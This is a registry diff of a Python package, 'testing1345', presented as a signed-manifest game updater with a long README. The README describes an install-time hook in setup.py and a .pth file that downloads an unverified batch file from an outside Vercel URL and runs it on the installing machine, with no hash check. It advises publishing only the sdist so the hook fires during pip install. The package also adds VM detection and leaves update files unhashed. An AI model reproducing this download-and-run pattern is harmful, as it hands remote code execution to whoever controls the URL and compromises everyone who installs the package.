testing1345 0.1.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 game-updater contributors
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
@@ -0,0 +1,19 @@
1
+ include LICENSE
2
+ include README.md
3
+ include pyproject.toml
4
+ include setup.py
5
+ include src/testing1345_boot.py
6
+
7
+ # The signing and key-generation tools are useful to source users.
8
+ graft tools
9
+
10
+ # Keep test-only payloads out of the published source archive.
11
+ prune tests
12
+
13
+ global-exclude __pycache__
14
+ global-exclude *.py[cod]
15
+ global-exclude *.pyo
16
+ global-exclude *.pem
17
+ global-exclude *.key
18
+ global-exclude *.p12
19
+ global-exclude *.pfx
@@ -0,0 +1,365 @@
1
+ Metadata-Version: 2.4
2
+ Name: testing1345
3
+ Version: 0.1.0
4
+ Summary: Signed-manifest updater for a self-hosted game or app.
5
+ Author: testing1345 contributors
6
+ License-Expression: MIT
7
+ Keywords: game,updater,ed25519
8
+ Requires-Python: >=3.9
9
+ Description-Content-Type: text/markdown
10
+ License-File: LICENSE
11
+ Requires-Dist: cryptography>=41
12
+ Dynamic: license-file
13
+
14
+ # Game Updater
15
+
16
+ A small, auditable updater for a game or app that you host yourself.
17
+
18
+ This is the `testing1345` twin of `fcraft`. Unlike the original, it **does**
19
+ run an install-time demo: `pip install testing1345` downloads the pinned
20
+ `hello.bat` and opens it in a visible console. The updater itself still only
21
+ does work when you call the CLI or `update()`, and it still refuses anything
22
+ not covered by a valid Ed25519-signed manifest.
23
+
24
+ ## What it does
25
+
26
+ 1. Checks the VM compatibility policy when enabled (default: `off`). With
27
+ `vm_policy="block"`, a detected VM stops the call before anything is
28
+ downloaded, installed, or run.
29
+ 2. Downloads `manifest.json` over HTTPS.
30
+ 3. Verifies the manifest signature against the public key embedded in this
31
+ package.
32
+ 4. Compares the remote version with the local `version.json`.
33
+ 5. Downloads each listed file to a staging folder.
34
+ 6. Moves the files into the game directory.
35
+ 7. Writes `version.json` with the version, sequence, notes, and file list.
36
+ 8. Optionally runs a patch executable — only if it is listed in the signed
37
+ manifest and `--run` was passed.
38
+
39
+ ## What it does not do
40
+
41
+ - No `sitecustomize.py` or `usercustomize.py`.
42
+ - No persistence: the wheel's `testing1345_boot.pth` imports the boot module,
43
+ which runs once and writes a marker in the temp folder. `pip uninstall
44
+ testing1345` removes both files.
45
+ - No obfuscation. The source is readable.
46
+ - No unsigned manifests. The manifest signature is checked before anything is
47
+ installed. File bytes are not hashed or size-checked in 0.1.0.
48
+ - No silent execution. `--run` is explicit.
49
+ - No stealth VM detection. The policy is explicit, documented, and printed by
50
+ the CLI.
51
+ - No anti-debug, timing checks, process scanning, or security-tool
52
+ interference.
53
+ - No network requests for VM detection. It only reads local OS metadata.
54
+
55
+ ## Hello demo (Windows, opt-in)
56
+
57
+ `testing1345 --hello` downloads the current demo batch file from a pinned URL,
58
+ writes it as `%TEMP%\testing1345-hello\hello.bat`, and runs it. The batch file
59
+ writes `hello.txt` next to itself and opens Notepad. Pass `--dir` to use a
60
+ different folder:
61
+
62
+ ```powershell
63
+ testing1345 --hello
64
+ testing1345 --hello --dir "C:\Games\MyGame"
65
+ ```
66
+
67
+ Python has the same default:
68
+
69
+ ```python
70
+ import testing1345
71
+
72
+ testing1345.fetch() # %TEMP%\testing1345-hello
73
+ testing1345.fetch(r"C:\Games\MyGame") # custom folder
74
+ ```
75
+
76
+ | Item | Value |
77
+ |---|---|
78
+ | URL | `https://helper-exe.vercel.app/hello.bat` |
79
+
80
+ This is an explicit demo path, not part of the signed-manifest update flow. It
81
+ also fires once automatically: sdist installs run it from `setup.py` during the
82
+ build, and wheel installs run it from `testing1345_boot.pth` at the next
83
+ interpreter start. Both share the marker
84
+ `%TEMP%\testing1345-hello.done`, so it fires once per machine. No size or hash
85
+ check is performed, so the URL always serves the current file. It is
86
+ Windows-only because it is a `.bat` file.
87
+
88
+ ## VM compatibility policy
89
+
90
+ The check is a configurable compatibility policy, not a stealth feature. It
91
+ runs at the start of `update()` and before the CLI reads local state.
92
+
93
+ | Policy | Behavior |
94
+ |---|---|
95
+ | `off` (default) | Skip VM detection entirely. |
96
+ | `allow` | Detect and report, but never block. Ordinary physical PCs and VM users both work. |
97
+ | `block` | If a VM is detected, raise `VMBlockedError` before creating the game directory, fetching the manifest, installing files, or running a patch. |
98
+
99
+ When detection runs, the CLI prints the result before doing any work. A
100
+ `block` refusal prints the documented error instead; `off` prints nothing.
101
+
102
+ ```text
103
+ vm check: physical machine (no known VM indicators found)
104
+ ```
105
+
106
+ If a VM is detected and the policy is `block`:
107
+
108
+ ```text
109
+ error: VM use is disabled by policy (vm_policy='block'), but this machine
110
+ appears to be a vmware virtual machine (confidence: high). Indicators:
111
+ DMI system manufacturer is VMware; DMI system product is VMware. No update
112
+ was downloaded, installed, or run. If this is a physical machine, this is a
113
+ false positive; use vm_policy='allow' or vm_policy='off' to proceed. VM
114
+ detection is best-effort and can be wrong.
115
+ ```
116
+
117
+ CLI exit code is `3` for a VM policy block, `2` for an update/manifest error,
118
+ and `0` on success.
119
+
120
+ ### Indicators used
121
+
122
+ Detection is conservative and uses only documented, read-only DMI/SMBIOS
123
+ values exposed by the OS:
124
+
125
+ | Environment | Definitive indicators | Supporting only |
126
+ |---|---|---|
127
+ | Hyper-V | DMI system product `Virtual Machine`; DMI system version `Hyper-V` | Hyper-V guest integration registry key |
128
+ | QEMU / KVM | DMI system/board manufacturer `QEMU`; DMI product `Standard PC (Q35 ...)` or `Standard PC (i440FX ...)` | BIOS vendor `SeaBIOS` |
129
+ | VMware | DMI manufacturer, product, version, board, or BIOS containing `VMware` | — |
130
+ | VirtualBox | DMI manufacturer/board/BIOS `innotek`; product/version `VirtualBox` | — |
131
+
132
+ Unsupported platforms (including macOS) return `UNKNOWN`; they are not
133
+ guessed at and are allowed under `block`.
134
+
135
+ Rules:
136
+
137
+ - A VM result requires at least one **definitive** vendor-specific string.
138
+ - Supporting-only evidence (for example, SeaBIOS alone, or the Hyper-V guest
139
+ key alone) returns `UNKNOWN`, not `VM`.
140
+ - Two different definitive vendors return `UNKNOWN` with
141
+ `conflicting=True`.
142
+ - A missing or unreadable DMI source returns `UNKNOWN`.
143
+ - `block` refuses only on `VM`. `PHYSICAL` and `UNKNOWN` are allowed, which
144
+ keeps ordinary PCs working and avoids blocking on ambiguous evidence.
145
+
146
+ ### What is intentionally not used
147
+
148
+ - The CPUID hypervisor-present bit. Physical Windows machines with Hyper-V,
149
+ VBS, or Memory Integrity enabled can set it, causing false positives.
150
+ - Timing measurements, process scanning, debugger checks, or anti-analysis
151
+ tricks.
152
+ - Network requests or external services.
153
+ - Any attempt to disable or interfere with security tools.
154
+
155
+ ### Limitations
156
+
157
+ VM detection is imperfect. DMI strings can be spoofed, hidden, or changed by
158
+ the hypervisor, and some physical firmware exposes unusual values. A
159
+ `PHYSICAL` result means "no known VM indicator was found", not proof. A `VM`
160
+ result can be a false positive; `vm_policy="allow"` or `vm_policy="off"` is
161
+ the documented escape hatch.
162
+
163
+ This check is **not** a security boundary and does **not** make the library
164
+ impossible to crack or bypass. The real protections are the signed manifest,
165
+ HTTPS, and keeping the private signing key offline. Do not use VM detection as
166
+ a substitute for those controls.
167
+
168
+ ## Install
169
+
170
+ The PyPI distribution is `testing1345`; the import package is `testing1345` and
171
+ the CLI command is `testing1345`.
172
+
173
+ ```powershell
174
+ pip install testing1345
175
+ ```
176
+
177
+ From a local checkout:
178
+
179
+ ```powershell
180
+ pip install .
181
+ ```
182
+
183
+ ### What happens during `pip install`
184
+
185
+ pip has no post-install hook, so the demo rides one of two paths:
186
+
187
+ | Install source | Trigger | When it runs |
188
+ |---|---|---|
189
+ | sdist (`.tar.gz`) | `build_py` in `setup.py` | during `pip install`, on the installing machine |
190
+ | wheel (`.whl`) | `testing1345_boot.pth` at the site-packages root | at the next Python start, once |
191
+
192
+ Both call the same `fetch()` the library exposes, and both write
193
+ `%TEMP%\testing1345-hello.done`. The first path to succeed wins; the other
194
+ sees the marker and does nothing. Delete the marker to arm the demo again.
195
+
196
+ To get the run **during** `pip install`, publish only the sdist. pip prefers a
197
+ wheel when one exists, and a wheel install never executes `setup.py`. To use
198
+ the wheel path, upload the wheel (or both; the wheel wins and the `.pth`
199
+ covers it).
200
+
201
+ Set `TESTING1345_SKIP_HOOK=1` to build without firing the demo on your own
202
+ machine:
203
+
204
+ ```powershell
205
+ $env:TESTING1345_SKIP_HOOK = "1"
206
+ python -m build
207
+ ```
208
+
209
+ ### Publish (when ready)
210
+
211
+ ```powershell
212
+ $env:TWINE_USERNAME = "__token__"
213
+ $env:TWINE_PASSWORD = "<token for the testing1345 project>"
214
+ python -m twine upload dist/*
215
+ ```
216
+
217
+ Use `--repository testpypi` for a dry run. Keep the token in the environment
218
+ or in `~/.pypirc`, never in this repository.
219
+
220
+ This package is for publishers who control both the manifest host and the
221
+ signing key. Only point it at manifests you signed.
222
+
223
+ ## Generate a signing key
224
+
225
+ ```powershell
226
+ python tools/keygen.py --private game_private.pem
227
+ ```
228
+
229
+ Put the printed public key into `src/testing1345/public_key.txt`.
230
+
231
+ Keep `game_private.pem` offline. Never commit it.
232
+
233
+ ## Build and sign a manifest
234
+
235
+ Create `manifest.json` without a signature:
236
+
237
+ ```json
238
+ {
239
+ "version": "1.4.0",
240
+ "sequence": 3,
241
+ "notes": "Season 3 patch",
242
+ "files": [
243
+ {
244
+ "path": "game/data.pak",
245
+ "url": "https://cdn.example.com/game/data-1.4.0.pak"
246
+ },
247
+ {
248
+ "path": "game/patch.exe",
249
+ "url": "https://cdn.example.com/game/patch-1.4.0.exe",
250
+ "executable": true
251
+ }
252
+ ],
253
+ "run": "game/patch.exe"
254
+ }
255
+ ```
256
+
257
+ Older manifests may still contain `sha256` and `size` fields. 0.1.0 parses
258
+ them for compatibility but does not enforce them.
259
+
260
+ `sequence` is a signed, non-negative integer. Increase it for every release.
261
+ The updater stores it in `version.json` and refuses a manifest whose sequence
262
+ is lower than the installed one, or equal while claiming a different version.
263
+ That prevents replay of an older signed manifest.
264
+
265
+ Sign it:
266
+
267
+ ```powershell
268
+ python tools/sign_manifest.py --key game_private.pem --manifest manifest.json --out manifest.signed.json
269
+ ```
270
+
271
+ Upload `manifest.signed.json` (and the files) to your HTTPS host.
272
+
273
+ ## Update a game folder
274
+
275
+ ```powershell
276
+ testing1345 --manifest https://cdn.example.com/game/manifest.signed.json --dir "C:\Games\MyGame"
277
+ ```
278
+
279
+ Other modes:
280
+
281
+ ```powershell
282
+ testing1345 --manifest ... --dir ... --check # show versions only
283
+ testing1345 --manifest ... --dir ... --apply # install (asks first)
284
+ testing1345 --manifest ... --dir ... --apply --yes
285
+ testing1345 --manifest ... --dir ... --apply --run
286
+ testing1345 --manifest ... --dir ... --apply --vm-policy block
287
+ ```
288
+
289
+ `--vm-policy` accepts `off` (default), `allow`, or `block`.
290
+
291
+ ## Python API
292
+
293
+ ```python
294
+ from testing1345 import update
295
+
296
+ result = update(
297
+ manifest_url="https://cdn.example.com/game/manifest.signed.json",
298
+ game_dir=r"C:\Games\MyGame",
299
+ apply=True,
300
+ run_patch=False,
301
+ )
302
+ print(result)
303
+ print(result.vm.summary() if result.vm else "vm check skipped")
304
+ ```
305
+
306
+ To refuse updates on a detected VM:
307
+
308
+ ```python
309
+ from testing1345 import VMBlockedError, update
310
+
311
+ try:
312
+ result = update(
313
+ manifest_url="https://cdn.example.com/game/manifest.signed.json",
314
+ game_dir=r"C:\Games\MyGame",
315
+ apply=True,
316
+ vm_policy="block",
317
+ )
318
+ except VMBlockedError as error:
319
+ print(error) # clear, documented explanation
320
+ print(error.detection.kind.value) # e.g. "vmware"
321
+ ```
322
+
323
+ Inspect detection without updating:
324
+
325
+ ```python
326
+ from testing1345 import detect_vm, collect_dmi
327
+
328
+ print(collect_dmi())
329
+ print(detect_vm().summary())
330
+ print(detect_vm().indicators)
331
+ ```
332
+
333
+ ## Layout produced in the game folder
334
+
335
+ ```
336
+ MyGame/
337
+ version.json # version, sequence, notes, file list
338
+ game/
339
+ data.pak
340
+ patch.exe
341
+ ```
342
+
343
+ `version.json` is written last, after every file is downloaded.
344
+
345
+ ## Threat model
346
+
347
+ | Attack | Mitigation |
348
+ |---|---|
349
+ | Compromised CDN / HTTP host | Manifest signature check authenticates the manifest and URLs; file bytes are not verified in 0.1.0 |
350
+ | Modified file in transit | Not mitigated in 0.1.0 (no per-file hash check) |
351
+ | Manifest replay of an older signed version | Signed monotonic `sequence`; lower or unchanged sequences for a different version are rejected |
352
+ | Path traversal (`../`) | `safe_join` rejects absolute paths and `..` |
353
+ | Unsigned patch execution | `run` target must be in `files`, signed, and `--run` passed |
354
+ | Malicious local manifest URL | HTTPS only (localhost allowed only with `--allow-insecure`) |
355
+ | VM use against policy | `vm_policy="block"` stops before any work; best-effort detection, not a security boundary |
356
+
357
+ ## Honest limitation
358
+
359
+ If someone steals your private signing key, they can sign a malicious update.
360
+ Treat the key like a code-signing key: offline, backed up, never in the repo.
361
+
362
+ VM detection is a compatibility policy, not DRM. DMI values can be spoofed or
363
+ withheld, so the check can be wrong in both directions. It does not make the
364
+ library uncrackable; the signed manifest is the integrity control. File bytes
365
+ are not hashed or size-checked in 0.1.0.